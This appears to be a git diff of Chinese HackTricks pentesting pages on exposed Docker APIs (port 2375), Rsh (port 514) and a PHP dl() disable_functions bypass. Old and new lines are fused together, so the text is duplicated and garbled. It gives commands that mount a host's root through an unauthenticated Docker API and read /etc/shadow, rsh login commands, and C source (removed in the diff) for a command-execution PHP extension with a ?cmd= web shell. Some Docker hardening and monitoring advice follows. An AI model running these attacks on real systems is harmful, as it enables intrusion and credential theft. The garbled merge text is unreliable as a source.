由于Podman没有守护进程它需要一种方式来支持在后台运行容器。因此它提供了与systemd的集成允许通过systemd单元来控制容器。根据Podman的版本您可以为现有容器生成这些单元或者生成能够在系统中创建容器的单元。还有另一种与systemd的集成模型它使systemd能够在容器内部运行。默认情况下Docker使用systemd来控制守护进程 为了在没有守护程序的情况下支持后台容器操作Podman 与 **systemd** 集成,通过 systemd 单元管理容器。这种集成随 Podman 版本而异,提供为现有容器和尚未创建的容器生成单元的能力,并促进 systemd 在容器内的运行。与 Podman 不同Docker 传统上依赖 systemd 进行守护程序管理
第二个主要区别涉及容器的执行方式。使用Podman时容器在用户的权限下执行而不是在守护进程下执行。在这一点上无根容器的概念就发挥作用了这意味着容器可以在没有root权限的情况下启动。与有根容器相比无根容器具有巨大的优势因为它们不在root帐户下运行。这样做的好处是如果攻击者能够捕获并逃离容器该攻击者仍然是主机上的普通用户。由用户启动的容器不能拥有比用户本身更多的权限或能力。这增加了一层自然的保护。 另一个关键区别在于容器的执行。Podman 允许容器以启动用户的权限而不是守护程序的权限运行。这引入了无 root 权限容器的概念,可以在不需要 root 访问权限的情况下启动,通过限制容器泄漏的潜在影响,提供了显著的安全优势。无 root 权限容器确保受损容器的攻击者仅拥有主机上普通用户的权限,防止权限升级超出启动用户的权限,从而增强安全性。
{% hint style="info" %}
请注意由于Podman旨在支持与Docker相同的API您可以使用与Docker相同的命令
```bash ```bash
podman --version podman --version
podman info podman info
@ -101,9 +98,7 @@ podman ls
## 基本信息 ## 基本信息
当启用时默认情况下远程API在2375端口上运行。该服务默认情况下不需要身份验证允许攻击者启动一个特权的Docker容器。通过使用远程API可以将主机/(根目录)附加到容器上,并读写主机环境中的文件。 当启用时,默认情况下远程 API 在 2375 端口上运行。默认情况下,该服务不需要身份验证,允许攻击者启动一个特权的 Docker 容器。通过使用远程 API可以将主机/(根目录)附加到容器,并读取/写入主机环
**默认端口:** 2375
``` ```
PORT STATE SERVICE PORT STATE SERVICE
2375/tcp open docker 2375/tcp open docker
@ -112,7 +107,7 @@ PORT STATE SERVICE
### 手动 ### 手动
请注意,为了枚举Docker API您可以使用`docker`命令或者像下面的示例中使用`curl`命令 请注意,为了枚举docker API您可以使用`docker`命令或`curl`,就像下面的示例中所示
```bash ```bash
#Using curl #Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version curl -s http://open.docker.socket:2375/version | jq #Get version
@ -148,10 +143,10 @@ docker-init:
Version: 0.18.0 Version: 0.18.0
GitCommit: fec3683 GitCommit: fec3683
``` ```
如果您可以使用`docker`命令**与远程docker API进行通信**,则可以**执行**之前[**评论过的docker命令**](2375-pentesting-docker.md#basic-commands)来与服务进行交互。 如果您可以使用`docker`命令**联系远程docker API**,您可以**执行**任何**之前评论过的docker** [**命令**](2375-pentesting-docker.md#basic-commands) 来与服务进行交互。
{% hint style="info" %} {% hint style="info" %}
您可以`export DOCKER_HOST="tcp://localhost:2375"`**避免**在docker命令中使用`-H`参数 您可以`export DOCKER_HOST="tcp://localhost:2375"`**避免**在docker命令中使用`-H`参数
{% endhint %} {% endhint %}
#### 快速提权 #### 快速提权
@ -160,7 +155,7 @@ docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
``` ```
#### Curl #### Curl
有时你会看到 **2376** 用于 **TLS** 端点。我无法使用 docker 客户端连接到它,但你可以使用 curl 轻松地访问 docker API。 有时你会看到 **2376** 开放在 **TLS** 端口上。我无法用 docker 客户端连接到它,但你可以使用 curl 轻松地访问 docker API。
```bash ```bash
#List containers #List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
@ -190,22 +185,22 @@ curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-ope
#Delete stopped containers #Delete stopped containers
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
``` ```
如果您想获取更多信息,可以在我复制命令的地方找到更多信息[https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/) 如果您想获取更多信息,请查看我复制命令的地方[https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
### 自动化 ### 自动化
```bash ```bash
msf> use exploit/linux/http/docker_daemon_tcp msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP> nmap -sV --script "docker-*" -p <PORT> <IP>
``` ```
## 入侵 ## Compromising
下面的页面中,您可以找到**逃离Docker容器**的方法: 以下页面,您可以找到**从 Docker 容器中逃逸**的方法:
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} {% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
[docker-security](../linux-hardening/privilege-escalation/docker-security/) [docker-security](../linux-hardening/privilege-escalation/docker-security/)
{% endcontent-ref %} {% endcontent-ref %}
通过滥用这个方法,可以逃离容器,您可以在远程机器上运行一个弱容器,逃离容器并入侵机器: 滥用这一点,可以从容器中逃逸,您可以在远程机器上运行一个弱容器,从中逃逸,并威胁到机器:
```bash ```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow cat /mnt/etc/shadow
@ -214,47 +209,47 @@ cat /mnt/etc/shadow
## 提权 ## 提权
如果你在使用 Docker 的主机内部,你可以[**阅读这些信息尝试提升权限**](../linux-hardening/privilege-escalation/#writable-docker-socket)。 如果您在使用 Docker 的主机内部,您可以[**阅读此信息尝试提升权限**](../linux-hardening/privilege-escalation/#writable-docker-socket)。
## 发现正在运行的 Docker 容器中的秘密信息 ## 在运行中的 Docker 容器中发现秘密
```bash ```bash
docker ps [| grep <kubernetes_service_name>] docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id> docker inspect <docker_id>
``` ```
检查**env**(环境变量部分)以查找秘密信息,你可能会找到 检查**env**(环境变量部分)以查找秘密信息,可能会发现
* 密码。 - 密码。
* IP地址。 - IP地址。
* 端口。 - 端口。
* 路径。 - 路径。
* 其他... - 其他…
如果你想提取一个文件: 如果要提取文件:
```bash ```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01> docker cp <docket_id>:/etc/<secret_01> <secret_01>
``` ```
## 保护您的Docker ## 保护您的Docker
### 保护Docker安装和使用 ### 保护Docker安装和使用
* 您可以使用工具[https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security)来检查您当前的Docker安装。 * 您可以使用工具[https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security)来检查您当前的Docker安装。
* `./docker-bench-security.sh` * `./docker-bench-security.sh`
* 您可以使用工具[https://github.com/kost/dockscan](https://github.com/kost/dockscan)来检查您当前的Docker安装。 * 您可以使用工具[https://github.com/kost/dockscan](https://github.com/kost/dockscan)来检查您当前的Docker安装。
* `dockscan -v unix:///var/run/docker.sock` * `dockscan -v unix:///var/run/docker.sock`
* 您可以使用工具[https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)来查看在不同安全选项下运行容器时容器将具有的权。这对于了解使用某些安全选项运行容器的影响非常有用: * 您可以使用工具[https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)来查看在不同安全选项下运行容器时容器将具有的权。这对于了解使用某些安全选项运行容器的影响有用:
* `docker run --rm -it r.j3ss.co/amicontained` * `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained` * `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained` * `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
### 保护Docker镜像 ### 保护Docker镜像
* 您可以使用[https://github.com/quay/clair](https://github.com/quay/clair)的Docker镜像来扫描其他Docker镜像并查找漏洞。 * 您可以使用[https://github.com/quay/clair](https://github.com/quay/clair)的Docker镜像来扫描您的其他Docker镜像并查找漏洞。
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"` * `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image` * `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
### 保护Dockerfiles ### 保护Dockerfiles
* 您可以使用工具[https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)来**检查您的Dockerfile**并找到各种配置错误。每个配置错误都被赋予一个ID您可以在[https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)找到如何修复每个错误的方法 * 您可以使用工具[https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)来**检查您的Dockerfile**并找到各种配置错误。每个配置错误都被赋予一个ID您可以在[https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)找到如何修复每个错误。
* `dockerfilelinter -f Dockerfile` * `dockerfilelinter -f Dockerfile`
![](<../.gitbook/assets/image (418).png>) ![](<../.gitbook/assets/image (418).png>)
@ -276,8 +271,8 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
### 记录可疑活动 ### 记录可疑活动
* 您可以使用工具[https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)来检测正在运行的容器中的**可疑行为**。 * 您可以使用工具[https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)来检测**运行容器中的可疑行为**。
* 请注意下代码块中**Falco如何编译内核模块并插入**。之后,它加载规则并**开始记录可疑活动**。在这种情况下它检测到启动了2个特权容器其中一个具有敏感挂载点,并且几秒钟后它检测到在其中一个容器中打开了一个shell。 * 请注意下面的代码块中**Falco如何编译内核模块并插入**。之后,它加载规则并**开始记录可疑活动**。在这种情况下它检测到启动了2个特权容器其中一个带有敏感挂载点,几秒钟后检测到一个容器内打开了一个shell。
``` ```
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host * Setting up /usr/src links from host
@ -318,18 +313,9 @@ falco-probe found and loaded in dkms
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest) 2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu) 2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
``` ```
### 监控Docker ### 监控 Docker
您可以使用auditd来监控Docker。 您可以使用 auditd 来监控 Docker。
<details> # 参考
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
</details>

View file

@ -1,24 +1,24 @@
# 514 - 对 Rsh 的渗透测试 # 514 - 渗透测试 Rsh
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习 AWS 黑客攻击</strong></summary> <summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持 HackTricks 的其他方式:
* 如果您想**HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 * 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
## 基本信息 ## 基本信息
**Rsh** 使用 **.rhosts** 文件和 **/etc/hosts.equiv** 进行认证。这些方法依赖于 IP 地址和 DNS域名系统进行认证。然而特别是当攻击者在本地网络上时伪造 IP 地址相当容易 对于认证,**Rsh** 使用 **.rhosts** 文件以及 **/etc/hosts.equiv**。认证依赖于 IP 地址和域名系统DNS。在本地网络上轻松伪造 IP 地址是一个重大漏洞
此外,**.rhosts** 文件通常存储在用户的家目录中,这些目录通常存储在 NFS网络文件系统卷上。来源[https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh) 此外,**.rhosts** 文件通常放置在用户的主目录中这些主目录通常位于网络文件系统NFS卷上
**默认端口**514 **默认端口**514
@ -29,18 +29,21 @@ rsh <IP> -l domain\user <Command>
rsh domain/user@<IP> <Command> rsh domain/user@<IP> <Command>
rsh domain\\user@<IP> <Command> rsh domain\\user@<IP> <Command>
``` ```
### [**暴力破解**](../generic-methodologies-and-resources/brute-force.md#rsh) ### **暴力破解**
## 参考资料
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)]
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击</strong></summary> <summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,333 +1,106 @@
<details> <details>
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
**重要说明:** **重要提示:**
![image](https://user-images.githubusercontent.com/84577967/174675487-a4c4ca06-194f-4725-85af-231a2f35d56c.png) ![image](https://user-images.githubusercontent.com/84577967/174675487-a4c4ca06-194f-4725-85af-231a2f35d56c.png)
**`dl`** 是一个PHP函数可用于加载PHP扩展。如果该函数没有被禁用,它可能被滥用以**绕过`disable_functions`并执行任意命令**。\ **`dl`** 是一个PHP函数可用于加载PHP扩展。如果该函数未被禁用,可能会被滥用以**绕过`disable_functions`并执行任意命令**。\
然而,它有一些严格的限制: 但是,它有一些严格的限制:
* `dl` 函数必须在**环境中存在**且**未被禁用** * `dl`函数必须**存在**于**环境**且**未被禁用**
* PHP扩展**必须与服务器使用的相同主版本**PHP API版本编译您可以在phpinfo的输出中看到这个信息) * PHP扩展必须**使用与服务器相同的主要版本**PHP API版本进行编译您可以在phpinfo的输出中查看此信息)
* PHP扩展必须位于由**`extension_dir`** 指令**定义的目录**中您可以在phpinfo的输出中看到它)。攻击者试图滥用服务器时,很不可能有权限写入这个目录,所以这个要求可能会阻止您滥用这种技术) * PHP扩展必须**位于**由**`extension_dir`**指令定义的**目录**中您可以在phpinfo的输出中看到)。攻击者很难具有对此目录的写访问权限,因此这个要求可能会阻止您滥用此技术
**如果您满足这些要求,请继续阅读从** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **复制的帖子了解如何绕过disable\_functions** **如果您符合这些要求,请继续阅读帖子** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **以了解如何绕过`disable_functions`**。以下是摘要:
当管理员配置服务器时,他/她忽略了[dl函数](http://www.php.net/manual/en/function.dl.php)并没有禁用它,因为没有提到能够执行系统命令。\ [dl函数](http://www.php.net/manual/en/function.dl.php)用于在脚本执行期间动态加载PHP扩展。通常用C/C++编写的PHP扩展可增强PHP的功能。攻击者注意到`dl`函数未被禁用后决定创建自定义PHP扩展以执行系统命令。
[dl函数](http://www.php.net/manual/en/function.dl.php)用于在脚本执行时加载PHP扩展。\
\
PHP扩展是用C/C++编写的用于给PHP增加更多功能。\
\
攻击者注意到该函数没有被禁用并看到了潜力决定创建一个PHP扩展。\
攻击者使用一个小脚本`<?php echo 'PHP Version is '.PHP_VERSION; ?>`PHP\_VERSION是一个预定义常量包含PHP的版本号。检查PHP的版本。\
\
攻击者记录下版本号,并从[PHP网站](http://www.php.net/downloads.php)下载tarball在这个场景中版本比当前发布的版本旧所以攻击者必须去[档案馆](http://museum.php.net)。\
\
接下来他提取源代码并[编译和安装](http://www.php.net/manual/en/install.php)在他自己的盒子上的PHP版本。\
\
现在是时候创建扩展了\
攻击者从PHP网站上阅读了[创建PHP扩展](http://www.php.net/manual/en/zend.creating.php)的资料。\
在阅读了文档并创建了一些自己的扩展后他决定查看PHP代码库因为他追求的功能已经创建好了。\
\
将要复制的功能是[exec函数](http://www.php.net/manual/en/function.exec.php)\
在代码库中它位于ext/standard/exec.c\
\
相关部分被实现到了它自己的新扩展中。\
\
**注意:** ### 攻击者采取的步骤:
在开始编译代码之前,您应该注意两点: 1. **确定PHP版本**
- 攻击者使用脚本(`<?php echo 'PHP版本为'.PHP_VERSION; ?>`确定PHP版本。
1- `bypass.c` 文件中的 `ZEND_MODULE_API_NO` 的值必须更改为您正在使用的当前 `Zend Extension Build`,您可以使用下面的命令行获取它: 2. **获取PHP源码**
- 从官方[PHP网站](http://www.php.net/downloads.php)或[存档](http://museum.php.net)如果版本较旧下载PHP源码。
3. **本地PHP设置**
- 在其系统上提取并安装特定的PHP版本。
4. **创建扩展:**
- 学习[创建PHP扩展](http://www.php.net/manual/en/zend.creating.php)并检查PHP源代码。
- 专注于复制位于`ext/standard/exec.c`的[exec函数](http://www.php.net/manual/en/function.exec.php)的功能。
### 编译自定义扩展的注意事项:
1. **ZEND_MODULE_API_NO**
- `bypass.c`中的`ZEND_MODULE_API_NO`必须与当前Zend Extension Build匹配可通过以下命令获取
```bash ```bash
php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}' php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}'
``` ```
2- 如果您在编译最新版本的 PHP5、7 和 8中的 bypass.c 文件时遇到任何错误,您可以将 PHP_FUNCTION(bypass_exec) 更改为以下内容:
```
PHP_FUNCTION(bypass_exec)
{
FILE *in;
char *command;
size_t command_len;
zend_string *ret;
php_stream *stream;
ZEND_PARSE_PARAMETERS_START(1, 1) 2. **PHP_FUNCTION修改**
Z_PARAM_STRING(command, command_len) - 对于最新的PHP版本5、7、8可能需要调整`PHP_FUNCTION(bypass_exec)`。提供的代码片段详细说明了此修改。
ZEND_PARSE_PARAMETERS_END();
if (!command_len) { ### 自定义扩展文件:
zend_argument_value_error(1, "cannot be empty");
RETURN_THROWS();
}
if (strlen(command) != command_len) {
zend_argument_value_error(1, "must not contain any null bytes");
RETURN_THROWS();
}
#ifdef PHP_WIN32 - **bypass.c**
if ((in=VCWD_POPEN(command, "rt"))==NULL) { - 实现自定义扩展的核心功能。
#else - **php_bypass.h**
if ((in=VCWD_POPEN(command, "r"))==NULL) { - 头文件,定义扩展属性。
#endif - **config.m4**
php_error_docref(NULL, E_WARNING, "Unable to execute '%s'", command); - 由`phpize`用于配置自定义扩展的构建环境。
RETURN_FALSE;
}
stream = php_stream_fopen_from_pipe(in, "rb"); ### 构建扩展:
ret = php_stream_copy_to_mem(stream, PHP_STREAM_COPY_ALL, 0);
php_stream_close(stream);
if (ret && ZSTR_LEN(ret) > 0) { 1. **编译命令:**
RETVAL_STR(ret); - 使用`phpize``./configure`和`make`来编译扩展。
} - 编译后的`bypass.so`然后位于modules子目录中。
}
```
文件对于单独的扩展最终如下所示:
{% code title="bypass.c" %} 2. **清理:**
```c - 编译后运行`make clean`和`phpize --clean`。
/*
+----------------------------------------------------------------------+ ### 上传并在受害主机上执行:
| Copyright (c) 1997-2003 The PHP Group |
+----------------------------------------------------------------------+ 1. **版本兼容性:**
| This source file is subject to version 2.02 of the PHP license, | - 确保攻击者和受害者系统之间的PHP API版本匹配。
| that is bundled with this package in the file LICENSE, and is |
| available at through the world-wide-web at | 2. **加载扩展:**
| http://www.php.net/license/2_02.txt. | - 利用`dl`函数,通过使用相对路径或脚本来自动化该过程来规避限制。
| If you did not receive a copy of the PHP license and are unable to |
| obtain it through the world-wide-web, please send a note to | 3. **脚本执行:**
| license@php.net so we can mail you a copy immediately. | - 攻击者将`bypass.so`和一个PHP脚本上传到受害者的服务器。
+----------------------------------------------------------------------+ - 该脚本使用`dl_local`函数动态加载`bypass.so`,然后通过`cmd`查询参数传递命令调用`bypass_exec`。
*/
### 命令执行:
- 攻击者现在可以通过访问执行命令:`http://www.example.com/script.php?cmd=<command>`
#ifdef HAVE_CONFIG_H 这个详细的步骤概述了创建和部署PHP扩展以执行系统命令的过程利用了`dl`函数,理想情况下应禁用以防止此类安全漏洞。
#include "config.h"
#endif
#include "php.h"
#include "php_bypass.h"
static function_entry bypass_functions[] = {
PHP_FE(bypass_exec, NULL)
{NULL, NULL, NULL}
};
zend_module_entry bypass_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
PHP_BYPASS_EXTNAME,
bypass_functions,
NULL,
NULL,
NULL,
NULL,
NULL,
#if ZEND_MODULE_API_NO >= 20010901
PHP_BYPASS_VERSION,
#endif
STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_BYPASS
ZEND_GET_MODULE(bypass)
#endif
PHP_FUNCTION(bypass_exec){
FILE *in;
int readbytes, total_readbytes=0, allocated_space;
pval **cmd;
char *ret;
if (ZEND_NUM_ARGS()!=1 || zend_get_parameters_ex(1, &cmd)==FAILURE) {
WRONG_PARAM_COUNT;
}
convert_to_string_ex(cmd);
#ifdef PHP_WIN32
if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "rt"))==NULL) {
#else
if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "r"))==NULL) {
#endif
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to execute '%s'", Z_STRVAL_PP(cmd));
RETURN_FALSE;
}
allocated_space = EXEC_INPUT_BUF;
ret = (char *) emalloc(allocated_space);
while (1) {
readbytes = fread(ret+total_readbytes, 1, EXEC_INPUT_BUF, in);
if (readbytes<=0) {
break;
}
total_readbytes += readbytes;
allocated_space = total_readbytes+EXEC_INPUT_BUF;
ret = (char *) erealloc(ret, allocated_space);
}
pclose(in);
RETVAL_STRINGL(ret, total_readbytes, 0);
Z_STRVAL_P(return_value)[total_readbytes] = '\';
}
```
{% endcode %}
{% code title="php_bypass.h" %}
```c
#ifndef PHP_BYPASS_H
#define PHP_BYPASS_H 1
#define PHP_BYPASS_VERSION "1.0"
#define PHP_BYPASS_EXTNAME "bypass"
PHP_FUNCTION(bypass_exec);
extern zend_module_entry bypass_module_entry;
#define phpext_bypass_ptr &bypass_module_entry
#endif
```
{% endcode %}
{% code title="config.m4" %}
```bash
PHP_ARG_ENABLE(bypass, [whether to enable bypass support],[--enable-bypass])
if test "$PHP_BYPASS" = "yes"; then
AC_DEFINE(HAVE_BYPASS, 1, [Whether you have bypass])
PHP_NEW_EXTENSION(bypass, bypass.c, $ext_shared)
fi
```
{% endcode %}
创建文件后是时候构建PHP扩展了。
```
phpize
./configure
make
```
完成后编译后的扩展将位于带有文件名bypass.so的modules子目录中。
文件被复制到一个安全的地方,现在执行以下命令来清理新创建的文件。
```
make clean
phpize --clean
```
攻击者现在将新创建的扩展上传到受害主机。
